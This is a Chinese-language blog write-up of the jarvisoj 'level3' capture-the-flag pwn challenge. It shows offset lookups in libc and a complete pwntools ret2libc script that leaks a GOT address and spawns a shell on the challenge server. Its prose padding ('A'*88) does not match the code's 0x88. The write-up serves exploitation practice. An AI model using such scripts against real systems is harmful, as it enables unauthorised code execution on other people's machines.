jarvisoj——[XMAN]level3

题目

在这里插入图片描述

Wp

查一下常规,开了NX,NX开了之后就不能执行自己的shellcode了。

在这里插入图片描述
ida看一下,
在这里插入图片描述
依旧是这里存在缓存区溢出
在这里插入图片描述

首先填充字段就是’A’*88+‘B’*4

然后找到system的地址 00040310

readelf -s libc-2.19.so |grep system

在这里插入图片描述
返回地址随便,现在找参数bin,现在可以看到是162d4c

strings -atx libc-2.19.so |grep /bin

在这里插入图片描述
现在还需要使用write来读出真实的offect

from pwn import *
context.log_level="debug"
sh=remote("pwn2.jarvisoj.com",9879)
w_plt=0x08048340
w_got=0x0804A018
w_elf=0x000dd460
bac=0x08048495
payload1='A'*0x88+'B'*4+p32(w_plt)+p32(bac)+p32(1)+p32(w_got)+p32(4)
sh.recvline()
sh.sendline(payload1)
writeaddr = u32(sh.recv(4))
print(writeaddr)
raw_input()


offect=writeaddr-w_elf
sys=0x00040310
bash=0x162d4c
payload2='A'*0x88+'B'*4+p32(offect+sys)+'A'*4+p32(offect+bash)
sh.recvline()
sh.sendline(payload2)
sh.interactive()

在这里插入图片描述

相关推荐
©️2020 CSDN 皮肤主题: 程序猿惹谁了 设计师:白松林 返回首页